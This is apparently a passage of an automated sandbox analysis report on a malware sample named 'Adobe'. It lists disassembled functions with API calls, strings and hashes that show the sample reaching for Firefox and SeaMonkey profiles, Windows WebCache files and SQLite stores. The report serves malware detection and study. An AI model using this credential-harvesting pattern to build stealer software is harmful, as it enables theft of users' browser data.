                                                                                                                              • memset.MSVCRT ref: 00403E50
                                                                                                                              • memset.MSVCRT ref: 00403E65
                                                                                                                              • memset.MSVCRT ref: 00403E7A
                                                                                                                              • memset.MSVCRT ref: 00403E8F
                                                                                                                              • memset.MSVCRT ref: 00403EA4
                                                                                                                                • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                              • memset.MSVCRT ref: 00403F6B
                                                                                                                                • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                                                              • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                                                                                                                              • API String ID: 3527940856-2068335096
                                                                                                                              • Opcode ID: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                              • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                                                                                                                              • Opcode Fuzzy Hash: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                                                                                                                              • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                                                                                                                              Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 00403FE1
                                                                                                                              • memset.MSVCRT ref: 00403FF6
                                                                                                                              • memset.MSVCRT ref: 0040400B
                                                                                                                              • memset.MSVCRT ref: 00404020
                                                                                                                              • memset.MSVCRT ref: 00404035
                                                                                                                                • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                                                                                                                                • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                                                                                                                                • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                                                                                                                                • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                                                                                                                              • memset.MSVCRT ref: 004040FC
                                                                                                                                • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                                                                                                                                • Part of subcall function 004099C6: memcpy.MSVCRT(?,?,00000104,?,0040BAA5,00445FAE), ref: 004099E3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$wcscpy$wcslen$Close_snwprintfmemcpywcscat
                                                                                                                              • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                                                                                                                              • API String ID: 3527940856-3369679110
                                                                                                                              • Opcode ID: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                              • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                                                                                                                              • Opcode Fuzzy Hash: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                                                                                                                              • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                                                                                                                              Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memcpy.MSVCRT(00000048,00451D40,0000002C,000003FF,00445FAE,?,00000000,?,0040B879), ref: 004444E3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memcpy
                                                                                                                              • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                                                                                                                              • API String ID: 3510742995-2641926074
                                                                                                                              • Opcode ID: 821e0fdd347fba4e0959882d1eed221cd0f9849de050a87fd0c537b7ccc40074
                                                                                                                              • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                                                                                                                              • Opcode Fuzzy Hash: 821e0fdd347fba4e0959882d1eed221cd0f9849de050a87fd0c537b7ccc40074
                                                                                                                              • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                                                                                                                              Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                                                                • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                                                                                                                                • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                                                                                                                              • memset.MSVCRT ref: 004033B7
                                                                                                                              • memcpy.MSVCRT(?,00000000,0000121C), ref: 004033D0
                                                                                                                              • wcscmp.MSVCRT ref: 004033FC
                                                                                                                              • _wcsicmp.MSVCRT ref: 00403439
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$_wcsicmpfreememcpywcscmpwcsrchr
                                                                                                                              • String ID: $0.@
                                                                                                                              • API String ID: 2758756878-1896041820
                                                                                                                              • Opcode ID: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                              • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                                                                                                                              • Opcode Fuzzy Hash: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                              • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                                                                                                                              Function 004449B9 Relevance: 10.6, APIs: 7, Instructions: 61libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                                • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                                • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449E7
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2941347001-0
                                                                                                                              • Opcode ID: 71f7015b8efbcabf0d8a3174310d871b9f234e636c99dab6741889365bf8ff35
                                                                                                                              • Instruction ID: 45112ec7679d7541be2eaee67b01953ccf91f0241e5cd71b41190719d78dca83
                                                                                                                              • Opcode Fuzzy Hash: 71f7015b8efbcabf0d8a3174310d871b9f234e636c99dab6741889365bf8ff35
                                                                                                                              • Instruction Fuzzy Hash: 2E115871840700EDEA207F72DD0FF2B7AA5EF40B14F10882EF555594E1EBB6A8119E9C
                                                                                                                              Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 00403C09
                                                                                                                              • memset.MSVCRT ref: 00403C1E
                                                                                                                                • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                                                                                                                                • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                                                                                                                              • wcscat.MSVCRT ref: 00403C47
                                                                                                                                • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                              • wcscat.MSVCRT ref: 00403C70
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memsetwcscat$Closewcscpywcslen
                                                                                                                              • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                                                                                                                              • API String ID: 3249829328-1174173950
                                                                                                                              • Opcode ID: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                              • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                                                                                                                              • Opcode Fuzzy Hash: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                              • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                                                                                                                              Function 0040A804 Relevance: 9.0, APIs: 6, Instructions: 40libraryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0040A824
                                                                                                                              • GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 669240632-0
                                                                                                                              • Opcode ID: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                              • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                                                                                                                              • Opcode Fuzzy Hash: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                              • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                                                                                                                              Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • wcschr.MSVCRT ref: 00414458
                                                                                                                              • _snwprintf.MSVCRT ref: 0041447D
                                                                                                                              • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                                                                                                                              • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: PrivateProfileString$Write_snwprintfwcschr
                                                                                                                              • String ID: "%s"
                                                                                                                              • API String ID: 1343145685-3297466227
                                                                                                                              • Opcode ID: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                              • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                                                                                                                              • Opcode Fuzzy Hash: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                              • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                                                                                                                              Function 00413CA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                                                                                                                              • GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00413CCF
                                                                                                                              • GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressHandleModuleProcProcessTimes
                                                                                                                              • String ID: GetProcessTimes$kernel32.dll
                                                                                                                              • API String ID: 1714573020-3385500049
                                                                                                                              • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                              • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                                                                                                                              • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                              • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                                                                                                                              Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 004087D6
                                                                                                                                • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                                • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                                                                                                                              • memset.MSVCRT ref: 00408828
                                                                                                                              • memset.MSVCRT ref: 00408840
                                                                                                                              • memset.MSVCRT ref: 00408858
                                                                                                                              • memset.MSVCRT ref: 00408870
                                                                                                                              • memset.MSVCRT ref: 00408888
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2911713577-0
                                                                                                                              • Opcode ID: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                              • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                                                                                                                              • Opcode Fuzzy Hash: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                              • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                                                                                                                              Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memcmp.MSVCRT(?,?,00000004,?,00000065,004381DF,00000065,00000000,00000007,?,00000000), ref: 0041F202
                                                                                                                              • memcmp.MSVCRT(?,SQLite format 3,00000010,?,00000065,004381DF,00000065,00000000), ref: 0041F22D
                                                                                                                              • memcmp.MSVCRT(?,@ ,00000003,?,?,00000065,004381DF,00000065,00000000), ref: 0041F299
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memcmp
                                                                                                                              • String ID: @ $SQLite format 3
                                                                                                                              • API String ID: 1475443563-3708268960
                                                                                                                              • Opcode ID: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                              • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                                                                                                                              • Opcode Fuzzy Hash: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                              • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                                                                                                                              Function 00414C2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77registryCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 00414B81: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 00414BA4
                                                                                                                              • memset.MSVCRT ref: 00414C87
                                                                                                                              • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                              • wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                                                                                                                              Strings
                                                                                                                              • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressCloseProcVersionmemsetwcscpy
                                                                                                                              • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                                              • API String ID: 2705122986-2036018995
                                                                                                                              • Opcode ID: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                              • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                                                                                                                              • Opcode Fuzzy Hash: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                              • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                                                                                                                              Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _wcsicmpqsort
                                                                                                                              • String ID: /nosort$/sort
                                                                                                                              • API String ID: 1579243037-1578091866
                                                                                                                              • Opcode ID: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                              • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                                                                                                                              • Opcode Fuzzy Hash: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                              • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                                                                                                                              Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memset.MSVCRT ref: 0040E60F
                                                                                                                              • memset.MSVCRT ref: 0040E629
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                              Strings
                                                                                                                              • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                                                                                                                              • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memsetwcslen$AttributesFilewcscatwcscpy
                                                                                                                              • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                                                                                                                              • API String ID: 3354267031-2114579845
                                                                                                                              • Opcode ID: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                              • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                                                                                                                              • Opcode Fuzzy Hash: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                              • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                                                                                                                              Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FindResourceW.KERNELBASE(?,?,?), ref: 004148C3
                                                                                                                              • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                                                                                                                              • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                                                                                                                              • LockResource.KERNEL32(00000000), ref: 004148EF
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Resource$FindLoadLockSizeof
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3473537107-0
                                                                                                                              • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                              • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                                                                                                                              • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                              • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                                                                                                                              Function 0044DEF7 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ??3@
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 613200358-0
                                                                                                                              • Opcode ID: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                              • Instruction ID: aa45652f999bbb0892b85dcd7393972dd4dfe4e89c7b59a5f1a68188070d07e1
                                                                                                                              • Opcode Fuzzy Hash: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                              • Instruction Fuzzy Hash: 5EE08C60F0830052BA31EBBABD40E2723EC5E1AB4271A842FB905C3282CE2CC880C02D
                                                                                                                              Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000005.00000002.1828149652.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_5_2_400000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memset
                                                                                                                              • String ID: only a single result allowed for a SELECT that is part of an expression
